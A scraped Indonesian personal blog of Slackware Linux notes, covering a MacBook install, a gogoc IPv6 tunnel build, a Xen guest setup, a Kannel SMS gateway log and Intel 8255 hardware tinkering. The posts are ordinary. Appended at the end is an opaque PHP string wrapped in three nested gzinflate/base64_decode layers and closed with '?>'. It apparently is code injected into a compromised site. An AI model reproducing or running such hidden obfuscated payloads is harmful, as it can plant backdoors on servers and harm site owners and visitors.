10.0.5.7		node7.kebonbinatang.org	node7
10.0.5.8		node8.kebonbinatang.org	node8
dst
EOF
 
/sbin/chkconfig iptables off
/sbin/chkconfig ip6tables off
/sbin/chkconfig isdn off
/sbin/chkconfig postfix off
/sbin/chkconfig cman on
/sbin/chkconfig iscsi off
/sbin/chkconfig iscsid off
/sbin/chkconfig ntpd  off
/sbin/chkconfig sandbox off
 
 
# Turn some services on and off
) > /tmp/kickstart-install.log 2>&1

mungkin segini dulu sambil beresin dokumentasi.. 8-}



Slackware @ MacBook

  ozzie / 01/04/2012

Sebetulnya gw gak terlalu minat product Apple.. karena daily selalu pakek slackware anywhere, anytime.. hhihii.. tapi berhubung gak sengaja beli Macbook.. terpaksa langsung bantai pakek slackware dah .. :)) :))..

MacBook

untuk proses installasi slackware seperti biasa.. booting via cdrom dgn menekan key ‘C’.. install sesuai kebutuhan dah.. wireless, ethernet, vpn client, browser, ssh client, wine dll…

untuk hardware Macbook.. semua support di kernel 3.2.x (sound, vga, ethernet, touchpad, dll) hanya backlight aja yg agak ribet (cukup deres kuras battery). ubek2 mbah google dan nemu solusinya pakek pommed campur PCI Utils… sekian terima kasih.. :))



SlackBuild-IPv6-gogoc

  ozzie / 02/10/2011

IPv6 Tunnel Broker
http://slackbuilds.org/repository/13.37/network/gogoc/

 # wget http://slackbuilds.org/slackbuilds/13.37/network/gogoc.tar.gz
 # tar zxvf gogoc.tar.gz
 # cd gogoc
 # wget http://gogo6.com/downloads/gogoc-1_2-RELEASE.tar.gz
 # ./gogoc.SlackBuild 
...
...
...
...
...
usr/man/
usr/man/man5/
usr/man/man5/gogoc.conf.5.gz
usr/man/man8/
usr/man/man8/gogoc.8.gz
install/
install/doinst.sh
install/slack-desc
 
Slackware package /tmp/gogoc-1.2_RELEASE-i486-2_SBo.tgz created.
 # installpkg /tmp/gogoc-1.2_RELEASE-i486-2_SBo.tgz

register account @ http://gogo6.com/

edit configuration: /etc/gogoc.conf

userid=xxx
passwd=xxx

execute /etc/rc.d/rc.gogoc

# chmod +x /etc/rc.d/rc.gogoc
# /etc/rc.d/rc.gogoc start

# ifconfig tun
tun       Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00
          inet6 addr: 2001:c08:3700:ffff::5:1b74/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1280  Metric:1
          RX packets:40 errors:0 dropped:0 overruns:0 frame:0
          TX packets:34 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500 
          RX bytes:2512 (2.4 Kb)  TX bytes:2096 (2.0 Kb)

# traceroute6  ipv6.google.com
traceroute to ipv6.l.google.com (2404:6800:800b::68) from 2001:c08:3700:ffff::5:1fcc, 30 hops max, 16 byte packets
 1  2001:c08:3700:ffff::5:1fcb (2001:c08:3700:ffff::5:1fcb)  124.197 ms  74.005 ms  80.883 ms
 2  2001:c08:7f:2::175:1 (2001:c08:7f:2::175:1)  89.334 ms  87.463 ms  80.975 ms
 3  2001:c08:7f:1::20 (2001:c08:7f:1::20)  106.808 ms  76.62 ms  77.405 ms
 4  2001:4860::1:0:794 (2001:4860::1:0:794)  82.693 ms  80.722 ms  79.051 ms
 5  2001:4860::1:0:1063 (2001:4860::1:0:1063)  119.932 ms  115.409 ms  135.756 ms
 6  2001:4860::1:0:9d0 (2001:4860::1:0:9d0)  175.361 ms  137.619 ms  228.884 ms
 7  2001:4860::2:0:3c7 (2001:4860::2:0:3c7)  131.872 ms  131.083 ms  147.854 ms
 8  2001:4860:0:1::257 (2001:4860:0:1::257)  171.362 ms  133.46 ms  144.066 ms
 9  2404:6800:800b::68 (2404:6800:800b::68)  137.778 ms  134.995 ms  148.723 ms


Slackware guestOs @ XEN

  ozzie / 15/09/2011

sedikit dokumentasi hasil oprek2 Slackware sebagai Guest pada XEN.

Siapkan VirtualDisk, (contoh disini hanya 2GB & swap 512MB)

# mkdir -p /virtual/
# cd /virtual/
# dd if=/dev/zero of=/virtual/root0.img oflag=direct bs=1M seek=2047 count=1
# dd if=/dev/zero of=/virtual/swap0.img oflag=direct bs=1M seek=512 count=0

Download Pre-Build Kernel

wget http://blog.ozzie.web.id/pub/xen/kernel/vmlinOZ
wget http://kambing.ui.ac.id/slackware/slackware-13.37/isolinux/initrd.img

Create configuration: /etc/xen/darkstar.cfg

name = "darkstar"
memory = "128"
kernel = "/vmlinOZ"
ramdisk = "/initrd.img"
disk =['file:/virtual/root0.img,xvda,w','file:/virtual/swap0.img,xvdb,w' ,'file:/slackware-13.37-install-d1.iso,xvdc:cdrom,r']
vif = [ 'bridge=xenbr0,script=vif-bridge' ]
vcpus = "1"
extra = "load_ramdisk=1 prompt_ramdisk=0 rw"
extra = "root=/dev/xvda1 ro"

Jalankan Guest,

cd /etc/xen/
xm create darkstar -c

Lakukan Installasi seperti Biasa








composing music on Slackware

  ozzie / 06/05/2010

mungkin yg sering compose partitur di MS.window dah terbiasa dengan aplikasi finale ;)) .. tapi di linux ada banyak aplikasi yg gak kalah manteb seperti MuseScore, lilypond, noteedit ampe Nted.. ato mungkin TuxGuitar


untuk paket slackware bisa download di: http://www.slacky.eu/aadm/pkgs/index.php?ver=13&pkg=2984


untuk paket slackware bisa download di: http://www.johannes-schoepfer.de/lilypond/

To be continued….. cobain dulu ahhh… ;)) ;))



split multiple console

  ozzie / 02/05/2010

Ketika dihadapkan dengan kondisi harus remote ke beberapa console / menjalankan aplikasi berbasis console tentu akan menghadapi beberapa window terminal dalam desktop… yg pastinya akan membuat taskbar penuh dengan terminal ;))

multiple shell

mungkin aplikasi termainator cukup membantu untuk menghemat window terminal :D



Slackware 12.0 on Alix

  ozzie / 24/05/2008

Rencananya sih pengen bikin Embedded-System

Alix

monyet@kacung-24:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 5
model           : 10
model name      : Geode(TM) Integrated Processor by AMD PCS
stepping        : 2
cpu MHz         : 498.057
cache size      : 128 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu de pse tsc msr cx8 sep pge cmov clflush 
mmx mmxext 3dnowext 3dnow
bogomips        : 997.52
clflush size    : 32


Vodafone modem on Kannel

  ozzie / 18/09/2007

kebetulan dapet suplay beberapa modem PCMCIA :D.. lalu dipakelah yang Vodafone Mobile Connect Card 3G/GPRS;)) tinggal digabung CardBus <:-p **[Meneruskan Petualangan Kemaren]
Vodafone Modem

Dengan bahan dasar slackware 10.2, Kannel, Mysql, Apache, PHP, MRTG dan campuran Wap-MRTG, .. dan lain-lain. Awalnya sempet pusing juga nge-detect modem PCMCIA nya. berhubung pake Kannel yg jadi engine SMS/WAP nya.. obarak-abrik dokumentasi AT-Command pake minicom ternyata beda di init-stringnya

group = modems
id = vodafone
speed = 115200
name = VodaFone3G
detect-string = “GlobeTrotter”
init-string = “AT+CNMI=1,2,0,0,0″

udah dapet group modems, lalu pasang di group smc

group = smsc
smsc = at
smsc-id = vodafone
modemtype = vodafone
device = /dev/modem

jalanin bearerbox sekalian liat log

………
2007-09-18 01:54:33 [336] [6] INFO: AT2[vodafone]: init device
2007-09-18 01:54:33 [336] [6] INFO: AT2[vodafone]: speed set to 115200
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: –> ATZ^M
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: < -- ATZ
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: --> AT^M
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: < -- AT
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: --> AT&F^M
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: < -- AT&F
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: --> ATE0^M
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: < -- ATE0
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: --> AT+IFC=2,2^M
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: < -- OK
2007-09-18 01:54:33 [336] [6] DEBUG: AT2[vodafone]: --> AT+CPIN?^M
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: < -- +CPIN: READY
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: --> AT+CSCA=”+62855000000″^M
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: < -- OK
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: --> AT+CMGF=0^M
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: < -- OK
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: --> AT+CSMS=?^M
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: < -- +CSMS: (0-1)
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: <-- OK
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: --> AT+CNMI=1,2,0,0,0^M
2007-09-18 01:54:34 [336] [6] DEBUG: AT2[vodafone]: < -- OK
2007-09-18 01:54:34 [336] [6] INFO: AT2[vodafone]: AT SMSC successfully opened.

Tadaaaa….
diteruskan bikin group sms-service di kannel :

group = sms-service
keyword = default
text = “Mana Command-nya Om??”

Bagian ini cuma default kalo parameter salah, dan bakalan ngirim sms balik ke sender


group = sms-service
keyword = PORT
get-url = “http://kasur.tahanan.web.id/kerja.php?port=%k&value=%S”
max-message = 3

yang nantinya tinggal kirim sms dengan “Ketik: PORT < spasi > A < spasi > 2″ kirim ke no yang akan meng-eksekusi http://kasur.tahanan.web.id/kerja.php?port=A&value=2.. (dikarenakan Beda Mesin dengan SMS-gateway jadi gak pake http://localhost)



Intel 8255 on Slackware 7.1

  ozzie / 29/08/2007

Mungkin Teknologinya udah Basi kali yak?? dibanding sekarang yang lebih ke USB, tapi sekedar Refreshing dan kebetulan masih ada yg jual di Glodok..
8255
FYI: http://dt-51.com/.

Past: Pada masa kejayaannya. PPI8255 cukup naik daun karena compatible dengan berbagai bahasa programming yang berjalan pada platform Windows. seperti Assembler, C, Pascal, Basic hingga Delphi..

Today: Berhubung Sekarang ngoprek nya pake Slackware 7.1 di kernel 2.4.18 yang arsitektur kernelnya Sangat berbeda ama win32. maka dibutuhkan tenaga, waktu, pikiran, kopi, rokok ekstra. dan sekian lama browsing akhirnya dapet module disa8255 buat linux. coba-coba hijrah ke FreeBSD ternyata lebih ribet pake /dev/pbio ..

untuk sementara output dari DB-25 nya di gabungin ke project-board dulu, sekalian ngoprek di sisi program. yang kebetulan ngopreknya pake bahasa C. dari coba yang console [Command Line Interface], coba bikin shell sendiri berbasis TCL, ampe dicampur Dialog. beranjak ke X digabungin ama TCL/TK. dan sekarang pengennya Manageable ke arah Web-Based dengan campuran sedikit AJAX

Future: Keluar dari DB-25 kan jadi 3 port yang masing2 ada 8. kebetulan Port A & Port B sebagai Output. dan port C sebagai Input .. mo di gabungin ama modulenya Relay-Board.. tinggal output dari relay disambung ke rumah kabel di gudang. lalu setelah protocol HTTP-nya up, yang penting bisa POST ama GET tinggal setup SMS-Gateway dah. pake Kannel juga udah cukup. tinggal banyakin ajah sms-service nya itung2 port-forwarding

http://blog.ozzie.web.id/?p=128



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>